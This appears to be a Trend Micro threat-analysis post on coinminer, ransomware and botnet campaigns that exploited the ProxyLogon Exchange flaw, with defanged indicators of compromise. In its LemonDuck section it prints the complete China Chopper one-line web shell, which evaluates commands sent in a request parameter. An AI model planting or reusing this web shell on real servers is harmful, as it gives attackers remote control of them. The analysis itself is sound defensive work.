Exploits & Vulnerabilities
Proxylogon: A Coinminer, a Ransomware, and a Botnet Join the Party
Our telemetry showed three malware families taking advantage of the ProxyLogon vulnerability beginning in March: the coinminer LemonDuck was sighted first, quickly followed by the ransomware BlackKingdom, then the Prometei botnet.
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The emergence of several zero-day exploits relating to ProxyLogon, a Microsoft Exchange Server vulnerability that was discovered in late 2020, has allowed several threat actors to carry out attacks against unpatched systems. Our telemetry showed three malware families taking advantage of the ProxyLogon vulnerability beginning in March: the coinminer LemonDuck was sighted first, quickly followed by the ransomware BlackKingdom, then the Prometei botnet (Figure 1).
Leveraging the ProxyLogon vulnerability allowed the threat actors behind BlackKingdom, Prometei, and LemonDuck to execute Chopper web shells (detected by Trend Micro as Backdoor.JS.CHOPPER.SMYCBCD and Trojan.ASP.CVE202126855.SM), which then led to the deployment of the final payload in their respective infections. The China Chopper web shell, which was first discovered in 2012, continues to be widely used by threat actors in their campaigns to gain remote access to a targeted system. It's recently been found in many ransomware families, such as Hello ransomware.
Once they have compromised a system, these can start deploying malicious activities, such as dropping ExchDefender.exe, a binary file seen in BlackKingdom and Prometei cases, or using a WMI modifier that leads to a LemonDuck infection.
BlackKingdom and Prometei infections
Both BlackKingdom (detected by Trend Micro as Ransom.Win64.BLACKKINGDOM) and Prometei (detected as Backdoor.Win64.PROMETEI, TrojanSpy.Win32.PROMETEI, Coinminer.Win64.MALXMR, and Coinminer.Win64.TOOLXMR) infections make use of ExchDefender.exe, which copies itself to a Windows folder. It then creates MSExchangeDefenderPL, a service that contains its main routine and poses as security software for Microsoft Exchange (Figure 2). This service will execute the binary file in the Windows folder with the command line “Dcomsvc” (Figure 3).
MSExchangeDefenderPL will then start enumerating files contained in this folder:
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth.
It searches this directory for files related to web shells used in other attacks and deletes them to make sure it’s the only remaining malware in the system (Figure 4). These files are as follows:
- ExpiredPassword.aspx
- frowny.aspx
- logoff.aspx
- logon.aspx
- OutlookCN.aspx
- RedirSuiteServiceProxy.aspx
- signout.aspx
- SvmFeedback.aspx
At this point, both BlackKingdom and Prometei will leverage the ProxyLogon vulnerability to deploy the Chopper web shell using a builder that modifies the Offline Address Book (OAB). Once the OAB has undergone the malicious modifications and is launched, an .ASPX web shell is created via JavaScript on the system (Figure 5). It will then connect to the virtual path to initialize the malicious web shell (Figure 6).
LemonDuck infections
Similarly, LemonDuck (detected by Trend Micro as Trojan.PS1.LEMONDUCK) capitalizes on the ProxyLogon bug to target systems, but its infection utilizes Windows Management Instrumentation (WMI) to modify the OAB. In one such WMI entry, we have observed a PowerShell process that executes a Base64-encoded command (Figure 7). Deobfuscating the command revealed that it’s capable of modifying the ExernalUrl parameter of a specific .ASPX file (Figure 8).
This enables the remote execution of commands once the .ASPX file is loaded, a common technique used by China Chopper. The command that executes the Chopper is as follows:
<script language="JScript" runat="server">function Page_Load(){/*Exchange Service*/eval(Request["unsafe"],"unsafe");}</script>
China Chopper is a web shell that’s capable of receiving and executing backdoor commands. In this case, it drops the payload for the LemonDuck malware.
Trend Micro solutions
Trend Micro’s comprehensive XDR solution applies the most effective expert analytics to the deep data sets collected from Trend Micro solutions across the enterprise — including email, endpoints, servers, cloud workloads, and networks — making faster connections to identify and stop attacks. Powerful artificial intelligence and expert security analytics correlate data from customer environments and Trend Micro’s global threat intelligence to deliver fewer, higher-fidelity alerts, leading to better, early detection. One console with one source of prioritized, optimized alerts supported with guided investigation simplifies the steps needed to fully understand the attack path and impact on the organization.
Indicators of compromise
| SHA256 | Filename | Trend Micro Detection |
a99f8ef649a65ecaf2c1298f03598b4fb3f1b17939cbe58b0117d566059731b4 |
ExchDefender.exe |
Trojan.Win32.UNDEFENDEX.YEBDV |
16ae11e3ff6cd8daaa20dc3de03b05d49655278518d95c89750731539e606b0e |
ChackPassAS.aspx |
Trojan.ASP.CHOPPER.YPBDV |
806577311a873579a07445d0d7cdb7b2847dccdb306680563659d9fca7382708 |
YPEvQuXw.aspx |
Trojan.ASP.CVE202126855.SM |
d6ec34cdc7aa8c6199e3c017798b1c0fcb9c686a3e1d2c2d90683e1d63a6ae46 |
App_Web_kjvc3xzm.dll |
Backdoor.MSIL.CHOPPER.YABCP |
fcd3639277fa46bfcb7678d849bad50954caff4823b38b144a7e7b2ceb1e4b5d |
sqhost.exe |
Backdoor.Win64.PROMETEI.YEBDW |
f0a5b257f16c4ccff520365ebc143f09ccf233e642bf540b5b90a2bbdb43d5b4 |
zsvc.exe |
Backdoor.Win64.PROMETEI.YEBCS |
e4bd40643f64ac5e8d4093bddee0e26fcc74d2c15ba98b505098d13da22015f5 |
rdpcIip.exe |
TrojanSpy.Win32.PROMETEI.YEBDV |
d811b21ac8ab643c1a1a213e52c548e6cb0bea51ca426b75a1f5739faff16cbd |
m6.exe |
Coinminer.Win64.TOOLXMR.SMA |
6be5847c5b80be8858e1ff0ece401851886428b1f22444212250133d49b5ee30 |
WindowsUpdate.exe |
Trojan.Win32.COBALT.AX |
81a6de094b78f7d2c21eb91cd0b04f2bed53c980d8999bf889b9a268e9ee364c |
conhost.exe |
Coinminer_CryptoNight.SM-WIN64 |
fb8f100e646dec8f19cb439d4020b5f5f43afdc2414279296e13469f13a018ca |
miwalk.exe |
HackTool.Win64.MIMIKATZ.ENS |
b9dbdf11da3630f464b8daace88e11c374a642e5082850e9f10a1b09d69ff04f |
jfkzhluonvbxicy.exe |
Ransom.Win64.BLACKKINGDOM.SMYXBCX |
c3c786616d69c1268b6bb328e665ce1a5ecb79f6d2add819b14986f6d94031a1 |
mail.jsp |
Trojan.PS1.LEMONDUCK.YPBD2 |
4ea66b41ac0e72976b42af9f0f7961f73c8eff3a1d9a3fd7e0dc7032bf4a488e |
a.jsp |
Trojan.PS1.LEMONDUCK.YXBCU |
2eb24fb51aad7e6d556eac8276f71321a32c866225a2883e7cd4a5f22f25669b |
if_mail.bin |
Trojan.PS1.LEMONDUCK.YXBCU |
b660aa7aca644ba880fdee75f0f98b2db3b9b55978cc47a26b3f42e7d0869fff |
m6.bin |
Trojan.PS1.LEMONDUCK.YXAH-A |
bc3835feff6f2b3b6a8da238b87b42dad05230d2fc40aefa1749477d6e232b78 |
m6g.bin |
Trojan.PS1.LEMONDUCK.YXBCT |
42012af7555dd2f3413161474bed658cf25b730a5354255e53cfa6cc2e0f646e |
kr.bin |
Trojan.PS1.LEMONDUCK.YXAJH |
317799c3e17b493625c600bac3e42d5f1f4c175915468400779679f0cf538bbc |
if.bin |
Worm.PS1.LEMONDUCK.YXBC-A |
- hxxp://p1[.]feefreepool[.]net/cgi-bin/prometei[.]cgi?r=8&i=LAP057RQRL1WU541
- hxxp://173[.]249[.]19[.]202:1337/xmr64[.]exe
- hxxp://t[.]netcatkit[.]com/mail[.]jsp?mail